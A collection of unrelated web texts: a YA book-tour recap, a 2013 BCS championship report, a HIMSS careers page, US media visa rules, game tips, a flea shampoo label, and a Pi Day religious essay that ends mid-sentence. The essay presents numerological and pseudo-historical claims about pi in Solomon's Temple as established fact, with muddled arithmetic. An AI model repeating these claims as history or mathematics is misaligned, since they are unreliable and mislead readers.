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On Tour with Prism Book Tours
Book Tour Grand Finale for
By Samantha Durante
We hope you enjoyed the tour! If you missed any of the stops
you can see snippets, as well as the link to each full post, below:
Launch - Note from the Author
I am *so* thrilled to be kicking off the Stuck (Stitch Trilogy, Book 3) tour! We've got lots of awesome stops planned with exclusive Stitch Trilogy content you won't find anywhere else, plus a big giveaway to celebrate the arrival of the long-awaited conclusion of the series!...
Andi's Young Adult Books - Guest Post
A Tale of Three Book Covers
Even a writer has to admit that (as the saying goes!) a picture is worth a thousand words. It comes as no surprise, then, that *almost* as much thought must go into cover design as into the book itself.
When designing the covers for the Stitch Trilogy books, I had several goals in mind:
Captivate: Of course, a cover needs to get readers interested, and one of the best ways to do that is to make it pretty!
Signal: The cover's job is also, naturally, to give readers some clues as to what is in the story by referencing the genres and major plot points.
Unify: And, finally, knowing that this was going to be a multi-book series, I needed to come up with a consistent theme that would tie each cover together.
So how did I accomplish all this? By driving my cover designer crazy, of course! :-) ...
Candrel's Crafts, Cooks, and Characters - Interview
2.) Tell us about the rest of the series.
Over the course of the trilogy, you join our protagonists as they uncover the sordid truth and dark history of their society, Paragon, a place set in a world much like our own but with some important (and chilling) differences. In fact, some members of this society are so blinded to the truth that they don't even realize they are, in fact, living in Paragon… which is something you get to experience firsthand in Book 1. (Trying not to give away too many spoilers here!) In Book 2, we learn more about how this world came about, and in Book 3, the main characters struggle against nearly insurmountable odds to try to bring those responsible to justice. And of course, there's some romance along the way!
Paulette's Papers - Guest Post
Playlist: Music to Go with Stuck (Stitch Trilogy, Book 3)
It's no secret that I love words (I am, after all, a writer). But sometimes, nothing captures a feeling *quite* like a song. So without further ado, here is a selection of hand-picked songs to go with several of the most pivotal chapters of Stuck (Stitch Trilogy, Book 3):...
Wishful Endings - Excerpt
Not a Bear
"But how can we continue to keep this from everyone?" Janie interjected. "It's not right. They deserve to know!" she hissed.
Alessa shrugged in defeat.
Yes, she thought, just like Isaac deserves to know that his brother might still be alive – but she couldn't bring herself to say anything about that, either, knowing the guilt would eat him alive. She at least had to be sure first. She had to know it was really Joe.
Lisa Loves Literature - Review
" I really liked the first two books in this series, and I waited 5 years between book 2 and this one. There was one point I know that I even reached out to the author to find out if this one was coming soon, because I needed to know what would happen next. . . . There was just so much going on in this book! . . . if you haven't started the series yet, you are the lucky one to get to start with all three of them out now. You can sit down and read them all, back to back, and get all the feelings that will come with a good series."
Why Not? Because I Said So! - Review
"I've waited a long time to read this last book in the Stitch Trilogy. I loved this series from the first book. It was so unique and had so many twists and turns that kept you reading. Guess what? Things haven't changed in this third book: It's still has so many unique things in the story line and the the twists just keep on coming. . . . If you like the Dystopian and Sci-Fi genres, you need to put the Stitch Trilogy on your To-Read list immediately."
FUONLYKNEW - Review
"There's plenty of action, intrigue and betrayal. But there's also bravery, romance and hope. . . . A perfect finale to a series that fueled my imagination and captured my heart."
Bri's Book Nook - Review of STITCH
"This premise for a science fiction novel is so unique, and that truly drew me in. . . . I would recommend this book to anyone looking for a new upper YA or NA science fiction trilogy with a strong female main character."
Colorimetry - Excerpt
Happy Pills
"Seriously, Alex?"
Deion chuckled and shook his head at the sight of his best friend – shirtless, sweat gleaming off his abs – precisely positioned so that anyone passing by the construction site would get an eyeful of his chiseled physique.
"First of all, it's only 50 degrees out –"
"58," Alex argued, heaving another stone on top of the wall he was building for this set of Paragon's latest drama. "That's almost in the sixties." He paused to swipe a dusty, rippling forearm across his brow, brushing the fringe of straight black hair from his striking, angular eyes, which were narrowed against the sun.
Hopelessly Devoted Bibliophile - Review
"It's been a privilege to follow along with Samantha Durante since this trilogy first started! I felt a little woeful as I started to read Stuck, only because I knew that this was the end of my time with these characters. After completely falling in love with the last book, I knew that this finale was going to be a rough read for me either way. It's the end of an era, really. It's been fun! . . . If you haven't started this trilogy yet, you're in for such a treat. I envy you. I really do.
Lovely Reads - Spotlight
Chapter Break - Interview
Is there anything you would like people to take away from your book?
There are SO MANY things I'd like people to take away from the Stitch Trilogy! First, that things aren't black and white. Just like real life, no one in my books is infallible, and anyone can make a mistake that can really hurt other people – and this can happen on a small or very large scale, even with the noblest of intentions. Second, that anyone can make a difference. It would be easy for anyone living in that world (or any world!) to feel insignificant and powerless, but the characters work really hard and work together to make things better, and they manage to do so even against odds that seem insurmountable. Third, that inclusivity and diversity of thought are good things, especially when it comes to leadership – otherwise you're almost certain to further exploit already marginalized groups, and foster a lot of ill-will. And finally, that love conquers all. At the end of the day, even (perhaps, especially) when the world has gone to hell, all we have is each other. Be selfless. Be brave. Be kind.
Words Are the Breath Of Life - Review
"Stuck is a phenomenal completion to a wonderfully complex, challenging, and heartfelt adventure. My heart jumped for joy when I found myself finally reading the last chapters of this brilliantly original and deeply captivating journey full of heart, hope, and love. . . . I have been looking forward to this elusive ending, and I found myself completely and totally satisfied in every way a story can offer. . . . Samantha Durante has once again left me in awe of the depth of her brilliant creativity and boundless heart."
Books & Such - Guest Post
Quiz: Where Do You Rank in Paragon Society?
Over the course of the Stitch Trilogy, we've gotten to know several different groups within the society of Paragon, from plucky rebels and manipulated citizens to mastermind Engineers and bloodthirsty Stuck. Where do you fall amongst these ranks? Take this quick quiz to find out!...
fundinmental - Interview & Review
1. What made you decide to be a writer?
I don't know if it was a *decision* so much as a compulsion! I've always loved to write, ever since I was a kid. I got away from it for a few years in college and afterwards, but even as a software engineer, I managed to"sneak" writing into my job. So when it came time for a major life change (moving back across the country to be near my family), I knew it was a good time to see if I could shift gears and get back to doing what I'd always loved.
"If you love having your emotions ramped up to a fever pitch, if you love white knuckled reading, if you love apocalyptic/dystopian novels and are looking for an original storyline, you may want to grab the Stitch trilogy."
Christy's Cozy Corners - Guest Post
Style in Dystopia: 3 Ways to Style a Jumpsuit
Dystopian societies aren't often known for their embrace of individuality and free-thinking… which unfortunately means their fashion trends tend to lean towards the sterile and conformist, at best.
But don't let that post-apocalyptic thinking get you down! As the characters of the Stitch Trilogy show, there are lots of ways you can buck the trend and give that old standard-issue jumpsuit a fresh spin...
Oh Hey! Books. - Interview
As I mentioned above, I definitely set a plot – but at the same time, I try not to be rigid to allow room for inspiration and improvements. For example, in Stuck, one of the characters must decide at the end whether to make the ultimate sacrifice in order to save everyone else. And though the initial way I had this unfolding worked fine, one of my beta readers suggested another way which both tied in an important subplot and upped the emotional resonance of that decision to make it even more selfless. So I decided to rewrite parts of that scene to take advantage of a great idea, and I think it really paid off!
Don't forget to enter the giveaway below, if you haven't already...
(Stitch Trilogy #3)
By Samantha Durante
YA Dystopian, SciFi
Paperback & ebook, 306 Pages
December 15, 2018
Things are finally looking up for the Resistance. Sure, Alessa is still processing the revelation that the best friend she'd presumed dead is miraculously alive, though far from well… And her boyfriend is being manipulated under threat of blackmail. But her quest for justice against those behind the systematic extermination of the world population is so close to victory she can taste it.
And then in a matter of seconds, everything Alessa believes in is shaken to the core. Months of preparation are obliterated. The people she cares for most are lost.
But Alessa is still standing. And Paragon must pay.
The odds are grim, but unexpected allies surface in the most unlikely of places: A new pair of citizens still under the colony's rule who notice something amiss in the latest drama. An old adversary who realizes the error of her ways. And a veritable army of inhuman power and terrible strength, with an insatiable thirst for vengeance. The trustworthiness of each of these factions is yet to be proven, but without many other options, Alessa may have to take what she can get. Especially since the Engineers, never to be outdone, also have a few more tricks up their sleeves…
The long-awaited final installment in the riveting Stitch Trilogy, Stuck will have readers gripping their seats as Alessa and a handful of intrepid survivors usher their harrowing journey to a close, risking everything as they endeavor – once and for all – to set things right.
Other Books in the Series
About the Author
Samantha lives in Westchester County, New York with four of the five loves of her life – her husband, son, younger daughter, and cat – and carries her fifth love, her stillborn daughter, in her heart. An avid reader herself, Samantha's dream is to bring the same delight to readers that other authors have brought to her life. In addition to penning novels and writing candidly about grief, she is also a sometimes freelance writer/consultant – though more often than not these days she's on full-time mom duty! A former software engineer, Samantha said goodbye to the corporate world in 2010 to pursue her entrepreneurial dreams and lifelong love of writing. Learn more at www.samanthadurante.com.
Tour Giveaway
- 1 First Place Winner will receive: Signed Print Copies of All 3 Books in the Trilogy, a Limited-Edition Stitch Scarf, Bookmarks, and a $15 Amazon Gift Card
- 3 Second Place Winners will receive: eBook Copies of All 3 Books in the Trilogy for You *and* a Friend, plus a $5 Amazon Gift Card
- Open internationally
- Ends December 27th


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Alabama romped to its second consecutive BCS championship, and third in four seasons, beating No. 1 Notre Dame 42-14 in a BCS championship game that was no classic after all.
AJ McCarron threw four touchdown passes and Eddie Lacy ran for 140 yards and scored twice for the second-ranked Crimson Tide, which scored on its first three drives and cruised to the second-most lopsided BCS championship game victory Monday night.
Alabama (13-1) became the third team to win three national titles in four seasons since polls started being used to crown champions in 1936, and the first since Nebraska from 1994-97.
Tide coach Nick Saban now has won four national championships. Only Alabama's Paul "Bear" Bryant, with six, has more.
The Fighting Irish (12-1) didn't score until they were down 35-0 late in the third quarter.
In a matchup of tradition-rich programs tied for the most AP national championships with eight, Notre Dame was looking for its first national championship in 24 years. The Crimson Tide got its ninth.
The Crimson Tide marched with ease on the opening drive, going 82 yards on five plays to take a 7-0 lead on Lacy's 20-yard touchdown run up the middle with 12:03 left in the first quarter.
Notre Dame (12-0) had allowed only two rushing touchdowns in its surprising run to the championship game. The Fighting Irish were the first team to reach the BCS championship game after starting the season unranked. They were trying to become the first team to go from unranked to national champion since BYU in 1984.
Alabama quickly made the Fighting Irish look as if they were in over their heads.
Notre Dame did nothing to respond to Alabama's opening march, and on its punt back, the Crimson Tide might have caught a break. Returner Christion Jones muffed the kick, but Notre Dame was flagged for interfering with the catch, though it was one of Jones' teammates that made contact with him.
Lacy and the Crimson Tide went right back to work, hammering away at Notre Dame's vaunted defense. The Irish struggled to bring down the 220-pound tailback, who even ran through Heisman Trophy finalist Manti Te'o on a screen pass.
In the second quarter, it was freshman T.J. Yeldon slipping through Te'o's arms in the backfield on a third-down run and getting a first down.
Lacy set up Alabama's second touchdown with another 20-yard run, this time to the Irish 2. Instead of running into a Notre Dame goal-line defense that has become known for goal-line stands, McCarron faked a handoff and found tight end Michael Williams all alone for the score and a 14-0 lead.
Alabama made it 3 for 3 on the next drive when Yeldon scored from a yard out on the first play of the second quarter.
The Alabama fans seemed outnumbered at Sun Life Stadium by Fighting Irish followers, pumped to see their team try to win its first national title in 24 years. But the folks in Crimson and houndstooth were making all the noise as the Tide rolled.
Lacy landed one more blow with 31 seconds left in the half. McCarron dumped off to Lacy, who spun off two tacklers, and went 11 yards to make it 28-0.
The Southeastern Conference, winners of the last six BCS championships, was storming toward seven in a row. Those familiar "S-E-C!" chants started early in this one.
The Fighting Irish started the third quarter with a promising drive that ended with another Alabama highlight.
HaHa Clinton-Dix made a sensational diving interception, grabbing a tipped pass and tapping his toe inches from the sideline. Alabama turned the game's first turnover into another long scoring drive. McCarron capped this one with a 34-yard TD pass to freshman Amari Cooper, the longest TD pass the Irish have given up this season.
With the score 35-0 and some Fighting Irish fans in the stadium record crowd of 80,120, Notre Dame finally got on the board with 4:08 left in the third.
Everett Golson took an option keeper 2 yards for a touchdown to break a streak of 108 minutes, 7 seconds in which Alabama had not allowed a point in a BCS championship game, dating to the last 6 minutes of the fourth quarter of the 2009 title game against Texas at the Rose Bowl. Alabama had scored 69 straight points in that span.
Alabama had 529 yards. The Irish defense came in allowing 286 per game.
Golson, the redshirt freshman quarterback who coach Brian Kelly had nurtured through the season, was 21 for 36 for 270 yards.

subset: commoncrawl


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Searching for or looking to fill a job opportunity? HIMSS JobMine® is an interactive online job search tool for healthcare professionals. Candidates can post resumes, receive job alerts, research potential employers, and track responses to job postings.* Employers can use resume searching and job posting tools to add, remove, replace, or modify job postings. Posting your job with JobMine is also more affordable than other job boards. Click on the link below to learn more information about posting an employment position on the HIMSS Jobmine or contact us at 1-888-575-WORK (9675)or firstname.lastname@example.com. Visit HIMSS JobMine.
Professional Certification:
The Certified Professional in Healthcare Information and Management Systems (CPHIMS) is the most respected and recognized certification program for healthcare IT professionals. You become a CPHIMS by passing the challenging CPHIMS exam, which is governed by HIMSS – the industry's authoritative healthcare IT organization.
Set yourself apart with the mark of demonstrated excellence
- Gain credibility in the critical HIT and management systems categories
- Stand out in the job marketplace with proven expertise
- Become part of an elite corps of HIT professionals
Get started today!
Visit www.CPHIMS.org to learn about eligibility requirements, apply for the exam and access exam preparations materials. Contact Julianna Kazragys, Manager, Certification, at email@example.com or call 312-915-9216 for more information.
Isn't it time to make your mark?
CPHIMS Train the Trainer Program
The Train the Trainer program, first offered at the 2006 HIMSS Annual Conference in San Diego, is a two day program for interested parties to teach the CPHIMS Review Course in their health systems, chapters and in military and other education settings. Day 2 of the program includes an adult education and training component along with a review of HIMSS policies and procedures and marketing and logistics skills for implementing the CPHIMS Review Course. The first day of the program is the CPHIMS Review Course, which provides an overview of the test components.
With growing awareness and interest in the value of the CPHIMS credential (Certified Professional in Health Information and Management Systems), the Train the Trainer program seeks to provide more expansive opportunities for those interested in taking the CPHIMS exam to prepare by taking the Review Course. Trainers teach the review course in a variety of regional settings, as well as during the HIMSS Annual Conference and HIMSS Summit.
Certified CPHIMS Trainers are credentialed across the U.S., South America and Hong Kong. HIMSS congratulates the Trainers that have embarked on new opportunities to teach the CPHIMS Review Course. HIMSS will post upcoming Review Course opportunities provided by these Trainers on the HIMSS website calendarand via e-newsletters. In addition, the Trainers will provide a web-based CPHIMS Review Course for those interested who are not able to attend a regional or national meeting. For additional information about the CPHIMS Train the Trainer program, please contact:Fritze Roberts.
Healthcare Leadership Alliance (HLA) Competency Directory The Healthcare Leadership Alliance (HLA) released the results of a landmark effort to identify competencies that are important across diverse professional roles within healthcare management. The HLA Competency Directory is an interactive tool to ensure that future healthcare leaders have the training and expertise they need to successfully meet the challenges of managing the nation's healthcare. The HLA is comprised of the nation's premier professional societies representing over 100,000 members across the healthcare management disciplines.
- American College of Healthcare Executives
- American College of Physician Executives
- American Organization of Nurse Executives
- Healthcare Financial Management Association
- Healthcare Information and Management Systems Society
- Medical Group Management Association and its certifying body, the American College of Medical Practice Executives
Visit the Healthcare Leadership Alliance website at www.healthcareleadershipalliance.org.
HIMSS Advancement: HIMSS strongly emphasizes and encourages professional development and contributions to the healthcare industry for its members. As such, national members have the opportunity to be recognized for their dedication to the society and the industry by applying for Senior Member or Fellow Status. HIMSS national members are chosen for advancement after meeting several criteria based on professional capability, experience, leadership and service to their profession. Individuals who have advanced to Senior Member or Fellow status are leaders within the society implying not only recognition for past contributions but also the expectation of continuing participation and contributions to HIMSS and the healthcare community. HIMSS Online Advancement Application For more information contact Fritze Roberts, the HIMSS Advancement Program Coordinator at 312-915-9233 or firstname.lastname@example.com. *Candidates may respond online by submitting their resume or contacting the client directly if information has been included in the ad.


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Journalists/Media Visas
The "media (I)" visa is a nonimmigrant temporary visa for people who are representatives of the foreign media traveling to the United States. Such members of the foreign media must be engaging in their profession and the foreign media must have their home office in a foreign country. Please note in considering whether to grant media visas to foreign media representatives of a particular country, the U.S. considers whether the visa applicants own government grants similar privileges or is "reciprocal" to representatives of the media/or press from the United States.
Qualifying for a Media (I) Visa
The Immigration and Nationality Act (INA) is very specific with regard to the requirements, which must be met by applicants to qualify for the media (I) visa. Applicants must demonstrate that they are properly qualified for a media visa. Under immigration law, media visas are for "representatives of the foreign media," including members of the press, radio, film or print industries, whose activities are essential to the foreign media function, such as reporters, film crews, editors and persons in similar occupations, traveling to the U.S. to engage in their profession. The applicant must be engaging in qualifying activities for a media organization having its home office in a foreign country. The consular officer will determine whether or not an activity qualifies for the media visa. The activity must be essentially informational, and generally associated with the news gathering process, reporting on actual current events, to be eligible for the media visa. For example, reporting on sports events are usually appropriate for the media visa. Other examples include, but are not limited to, the following media related kinds of activities:
Primary employees of foreign information media engaged in filming a news event or documentary.
Members of the media engaged in the production or distribution of film will only qualify for a media visa if the material being filmed will be used to disseminate information or news. Additionally, the primary source and distribution of funding must be outside the United States
Journalists working under contract- Persons holding a credential issued by a professional journalistic organization, if working under contract on a product to be used abroad by an information or cultural medium to disseminate information or news not primarily intended for commercial entertainment or advertising. Please note that a valid employment contract is required.
Employees of independent production companies when those employees hold a credential issued by a professional journalistic association.
Foreign journalists working for an overseas branch office or subsidiary of a U.S. network, newspaper or other media outlet if the journalist is going to the United States to report on U.S. events solely for a foreign audience.
Accredited representatives of tourist bureaus, controlled, operated, or subsidized in whole or in part by a foreign government, who engage primarily in disseminating factual tourist information about that country, and who are not entitled to A-2 visa classification.
Technical industrial information- Employees in the United States offices of organizations, which distribute technical industrial information.
Spouses and Children
Spouses and/or children under the age of 21 who wish to accompany or join the principal media visa holder in the United States for the duration of his/her stay require media visas (derivative I visas). The application procedure is the same as for a primary media visa applicant. The spouse and/or children of a media visa holder here in the U.S. may not work. The spouse and/or children of a media visa holder who are in the U.S. on a media visa may study in the U.S. without also being required to apply for a student (F-1) visa.
Applying for a Media Visa - Required Documentation
As part of the visa application process, an interview at the embassy consular section is required for visa applicants from age 14 through 79. Persons age 13 and younger, and age 80 and older, generally do not require an interview, unless requested by embassy or consulate. Making your appointment for an interview is the first step in the visa application process. Visa wait times for interview appointments and visa processing time information for each U.S. Embassy or Consulate worldwide is available at Visa Wait Times, and on most embassy websites. During the visa application process, usually at the interview, a ink-free, digital fingerprint scan will be quickly taken. Some visa applications require further administrative processing, which takes additional time after the visa applicant's interview by a Consular Officer. Each applicant for a media visa must submit these forms and documentation, and submit fees as explained below:
An application, Nonimmigrant Visa Application, Form DS-156, completed and signed. Select Nonimmigrant Visa Application Form DS-156 to access the electronic version of the DS-156.
A Supplemental Nonimmigrant Visa Application, Form DS-157 provides additional information about your travel plans. Submission of this completed form is required for all male applicants between 16-45 years of age. It is also required for all applicants from state sponsors of terrorism age 16 and over, irrespective of gender, without exception. Four countries are now designated as state sponsors of terrorism, including Cuba, Syria, Sudan, and Iran. Select Special Processing Procedures to learn more. You should know that a consular officer may require any nonimmigrant visa applicant to complete this form. Here is Form DS-157
A passport valid for travel to the United States and with a validity date at least six months beyond the applicant's intended period of stay in the United States (unless country-specific agreements provide exemptions). If more than one person is included in the passport, each person desiring a visa must make an application;
One (1) 2x2 photograph. See the required photo format explained in Nonimmigrant Photograph Requirements
Proof of employment – Provide the following:
Staff Journalist: A letter from the employer that gives the employees name, position held within the company, and purpose and length of stay in the United States.
Freelance Journalist under contract to a media organization: A copy of the contract with the organization, which shows the employees name, position held within the company; purpose and length of stay in the United States and duration of contract.
Media Film Crew: a letter from the employer which gives the following information: name; position held within company; title and brief description of the program being filmed and period of time required for filming in the United States.
Independent Production Company under contract to media organization: a letter from the organization commissioning the work which gives the following information: name; title and brief description of the program being filmed; period of time required for filming in the United States and duration of contract.
Working Media Cannot Travel Without a Visa on the Visa Waiver Program
Please note citizens from a country participating in the Visa Waiver Program (VWP), who want to enter the United States temporarily, as representatives of the foreign media traveling to the United States, engaging in their profession, as media or journalists, must first obtain a media visa to come to the U.S. They cannot travel without a visa on the Visa Waiver Program. Those who attempt to do travel without a visa, on the Visa Waiver Program may be denied admission to the United States by the Department of Homeland Security, U.S. immigration inspector at the port of entry. For more information on VWP, see Visa Waiver Program
Note: It is important that you refer to the Embassy Consular Section website in the traveler's country of residence to determine visa processing timeframes and instructions, learn about interview scheduling, and find out if there are any additional documentation items required. Learn more by contacting the Embassy Consular Section


text: Metal Slug 5 - Platform: XBox Alternate ending sequence: -------------------------- Once you defeat the final Boss, you will go to another room where you must run from explosions. Instead of getting away, let yourself get killed by the explosions and the ending sequence will be different. Art gallery: ------------ Successfully complete the game to unlock the art for that character in the gallery. Stuck in zombie level: ---------------------- When you are in the level with the zombies, and you turn into a zombie, you will be stuck if you do not have grenades. There is a green box for equipment which gets in your way. You cannot destroy it with crouching because zombies cannot crouch. You must wait the delayed 60 seconds until time runs out, then your player just dies. He respawns as a human and you can now continue the level, but with one less life.


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Zodiac Flea and Tick Shampoo kills fleas, ticks and lice while adding luster and groomability to your pets coat. Insecticidal ingredients in this pleasantly scented shampoo are highly and quickly effective against fleas, ticks, and lice.
- Kills fleas, ticks and lice
- Pleasant scent
- Can be used on dogs and cats
The coconut conditioners help in building body, luster, and groomability!.
Active Ingredients: piperonyl butoxide, technical 0.50%, pyrethrins .05%.Other ingredients: 99.45%. Equivalent to 0.40% (butylcarbityl) (6-propylpiperonyl) ether and 0.10% related compounds.
Directions: It is a violation of Federal Law to use this product in a manner inconsistent with its labeling. Wet the dog or cat and apply a generous amount of shampoo, working it well into the coat. For best results, the pet should be left in a lathered state for 4-5 minutes before rinsing with warm water. Do not reapply product for two weeks.
Precautionary Statements:
Keep out of reach of children. Read entire label before each use. Use only on dogs and cats.
Hazards to Humans and Domestic Animals Caution:
Do not use on animals under 12 weeks. Consult a veterinarian before using this product on debilitated, aged, pregnant, nursing, or medicated animals. Sensitiveness may occur after using any pesticide product for pets. If sensitivity occurs, bathe your pet with mild pet shampoo and rinse with large amounts of water. If signs continue, consult a veterinarian immediately. Harmful if swallowed. Causes eye irritation. Avoid contact with eyes or clothing. Wash thoroughly with soap and water after handling. In case of infection or skin irritation, discontinue use and consult a veterinarian.


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Pi Day 2015 [3.14159]
To commemorate Pi Day, March 14th, 2015 we are recognizing the Creator's usage of Pi in the Hebrew Tabernacle and Temple. 2015 holds a special Pi Day, since 3.14.15 is a once in a century event! We are happy to recognize this day by calling attention to the Creator's application of the Pi ratio in some of the sacred furniture found within the inner and outer Temple/Tabernacle Courts. A portion of the material presented below is reprinted from my website study on "Pi in the Sky" @ try-god.com; [read more]. In a recent two Part Blog post, we discussed the Eastern Light through the Temple/Tabernacle, [read more] as an east-west axis line, where the people of Israel approached God in worship, a theme we will pick up in this study also. The first element on this line of access utilizing the Pi ratio is the round Brass Laver at the entrance to the inner court of the Tabernacle/ Temple. I Kings 7 below provides the descriptive details of this "molten sea."
Figure 1. The Brasen Laver of Solomon's Temple
The Brass Laver in the Outer Court I Kings 7:23-30 23And he made a molten sea, ten cubits from the one brim to the other: it was round all about, and his height was five cubits: and a line of thirty cubits did compass it round about. 24And under the brim of it round about there were knops compassing it, ten in a cubit, compassing the sea round about: the knops were cast in two rows, when it was cast. 25 It stood upon twelve oxen, three looking toward the north, and three looking toward the west, and three looking toward the south, and three looking toward the east: and the sea was set above upon them, and all their hinder parts were inward. 26And it was an hand breadth thick, and the brim thereof was wrought like the brim of a cup, with flowers of lilies: it contained two thousand baths. 27And he made ten bases of brass; four cubits was the length of one base, and four cubits the breadth thereof, and three cubits the height of it. 28And the work of the bases was on this manner: they had borders, and the borders were between the ledges: 29And on the borders that were between the ledges were lions, oxen, and cherubims: and upon the ledges there was a base above: and beneath the lions and oxen were certain additions made of thin work. 30And every base had four brazen wheels, and plates of brass: and the four corners thereof had under-setters: under the laver were under-setters molten, at the side of every addition.
Figure 2. The Tabernacle of Moses Layout
As we consider the Biblical usage of words related to how the pi ratio is revealed in Scripture, we will gain insight into the divine perspective of the Creator's viewpoint on Pi, and His Intelligent Design of Creation. Anytime we can adopt the view of the Almighty through the truths He has shared with us in His matchless Word, it always speaks volumes to those of us who are paying attention. The Hebrew word for "line" of thirty cubits, in verse 23 is "qav" [*H6957]. The word carries the primary meaning of a measuring cord, a ruler, or standard of measure. We are also familiar with this concept by another term known as a "canon." On the surface the Bible gives the basic mathematical value of pi here as 3, but the deeper truths of God's Word lie below the surface, for those who have the heart and will to look for them. It is noteworthy that the first place where the pi ratio is applied by God in the Tabernacle and Hebrew Temple is in connection with the semi-circular Brass Laver in I Kings 7:23. Let's take a look at some other places where this Hebrew word "qav" shows up. In the 38th chapter of Job, God is discussing the foundations of the Earth. The question in verse 5 asks: "Who hath laid the measures thereof, if you know? Or who hath stretched the line upon it?" The obvious Biblical answer to these questions is the Creator. In light of the usage of "qav" in I Kings 7:23, God's exercise of Pi as a standard ruler or measure in laying and measuring the spherical dimensions and foundations of our planet, recorded in the book of Job, the oldest book of the Biblical Canon is enlightening. This is especially the case when we consider the context of Job 38, which deals with a series of questions about various elements of Creation, that only God Almighty could answer. The Intelligent Design specifications of the planet Earth would easily fall into this category, as to how the Earth's spherical dimensions and temporal order fit into the celestial context of Creation. We can see the sense of this clarified even more in our next reference to the Hebrew word "qav."
Figure 3. Planet Earth
In Psalm 19, The heavens declare the glory of God… Verse 4 says, "Their line is gone out through all the earth, and their words to the end of the world. In them He hath set a tabernacle for the sun." Once again the Hebrew word for "line" here is qav. Let me ask you, what is the heavenly or celestial line that is a tabernacle, or provides the houses of the sun? The only sensible answer is the ecliptic! This is quite logical when we consider that the Israelites, during their 40-year sojourn in the Sinai wilderness were led by God, seen as a pillar of cloud during the day, and one of fire by night. The pillars dwelt over the Holy of the Holies in their Tabernacle, signifying the Creator's personal presence among His people. When they camped during the evenings, Numbers 2 tells us they camped in the order of the tribes as it matched the order of the course of the sun on the ecliptic, (east, south, west, north). Israel's twelve tribes, as we are aware by now, also matched up with the twelve signs of the zodiac in their God-ordained significance, before they were corrupted in heathen Astrology and mythology. This tribal order is also found in the twelve jewels of the High Priest's breastplate, [Ex. 28:15-21]. Thus the celestial gospel originally related the story of the coming redeemer of mankind, that God wrote in the stars before He ever committed it to His Written Word. These are the words of Ps. 19:4 that have gone out through all the earth, unto the end of the world. This application of the Pi (the mathematical relation of the diameter of a circle to its circumference) by God, in reference to the circular ecliptic is certainly intriguing in light of the Sun's apparent 360-degree path through its 12 houses of the zodiac, as viewed from Earth. In this light we should also be aware of the earlier context of I Kings 7.
Figure 4. 12 Signs of the Zodiac on the Ecliptic
The next aspect of the Temple layout relating to the Pi ratio concerns the two huge Brass Pillars at the entrance to the Hebrew Temple. These are described also in I Kings 7:13-15 below. 1 Ki 7:13 And king Solomon sent and fetched Hiram out of Tyre. [14] He was a widow's son of the tribe of Naphtali, and his father was a man of Tyre, a worker in brass: and he was filled with wisdom, and understanding, and cunning to work all works in brass. And he came to king Solomon, and wrought all his work. [15] For he cast two pillars of brass, of eighteen cubits high apiece: and a line of twelve cubits did compass either of them about. The word for "line" in verse 15 above is not qav, as it is in verse 23, but it does indicate a line for measuring, thus a closer look at these brass pillars is still called for. As we know, Pi has long been considered a transcendental number, or constant of mathematics (3.14159….), linking a straight diameter to a curved circumference. The French archaeologist and mathematician Charles Funk-Hellet points out that: "Solomon had Hiram contribute to building a temple whose brass columns were 18 cubits high, and 12 cubits around. In other words, one cubit equaled the twelfth part of the circumference of the arc of 30 degrees, or pi/6. By subtracting the circumference from the height, they obtained 6 cubits in a straight line, which was equal to 1/2 circumference, or the exact value of pi; so that 1000 years before Christ the Hebrews knew that a cubit was a mathematical entity dependent on the circumference, and were able to resolve pi to four points of decimal." 2 (emphasis mine)
Funk-Hellet's observation that: "By subtracting the circumference from the height, they obtained 6 cubits in a straight line, which was equal to 1/2 circumference, or the exact value of pi/6.…"3 is worth remembering when we come to the subject of the celestial symbolism of the Menorah, and its application of pi, building on what we have found here. Funk-Hellet goes on to say that: "the Biblical cubit is equal to the Egyptian Royal cubit, which was incorporated into the Temple at Jerusalem as pi/6, or 523.6 millimeters. Using one unit of measure as the radius of a circle, the ancients found the trigonometric value of 30 degrees to be pi/6, (which divided the full circumference of the circle into 12 equal parts) and was the value of the royal cubit, or .5236 of the unit used: 3.1416/6 = .5236"4 (parenthesis & emphasis mine)
Figure 5. Solomon's Temple with Brass Pillars at the Entrance
In effect, we have an architectural representation of the twelve-fold division of the heavens preserved in the dimensions of the Temple's Brass columns, all based on the mathematical standard Pi, long before most modern scientists imagined the ancients knew anything about Pi at this level of accuracy. This provides more evidence showing the Creator's perfect wisdom and Nature's Great Geometer, at work in the dimensions of His Temple, as an illustration of heavenly realities [Heb. 8:5], which He gave to King David by revelation. Also symbolically contained in the dimensions of the Temple's brass columns, is a figure of 12 calendar months of 30 days, totaling the 360 days of their year, a calendar also used going all the way back to Noah's time, in the context of the 360-degrees of the ecliptic. This reveals the true origin of the 12 – 30° segments of the ecliptic, as a standard celestial measure, and also reveals the Pi ratio at the root of the Hebrew Calendar matching the 360 degrees of the circle with the 360 days of the year on the Calendar of the Biblical Patriarchs. And since Noah was already 600 years old when the Bible records the details of this luni-solar calendar in Genesis 7, it also implies that it was used by the earlier Biblical Patriarchs prior to the flood, and centuries before history and human science thought this level of sophisticated astronomical timekeeping was in use. For more information on Noah's Calendar, [read more]. As we find in the above Biblical uses of the Hebrew word "qav," God's application of the Pi concept far exceeds any previous application in human history. Views based on scientific Materialism will never account fully for the realities of God's Creation. Only from the Creator's viewpoint in His Word, and the Works of His Hands, do these applications of pi make sense. Only He could apply pi to the ecliptic and the dimensions of our planet, a concept which is borne out in much greater detail, in how pi is symbolically and architecturally applied, not only in the Hebrew Tabernacle and Temple, but also in the Great Pyramid. Since the pattern shown to Moses for the Tabernacle was by divine revelation, just as the pattern of the Temple was shown to King David, these men of God did not calculate the blueprints for these sacred edifices, or their related measurements, by scientific trial and error. Thus they didn't need to wait on the Greeks, like Archimedes, generally considered the greatest of ancient scientists, to rediscover them or to apply them in divine architecture. Although Archimedes is to be commended for his application of the pi proportion, respectfully it pales in comparison to what we find in the Biblical uses of "qav" relating to pi. For example, the third piece of furniture utilizing pi in the Tabernacle is the Menorah. Since it is located in the Inner Court or Holy Place, it is closer to the Holiest of All, the throne-room and dwelling place of God. When we consider the Menorah or candlestick we are primarily concerned with the original model exhibited in the Tabernacle of Israel. Later, in the Temple there were 10 candlesticks utilized in a different manner than at first. In (Figure 6.) below we see the first candlestick, or Menorah in the form of what James Strong has called a "stylized tree." Strong gives his own description of Exodus 25:33 quoted below:
Ex. 25:33 Three bowls made like unto almonds, with a knop and a flower in one branch; and three bowls made like almonds in the other branch, with a knop and a flower: so in the six branches that come out of the candlestick."
Strong's geometric synopsis of this verse states:
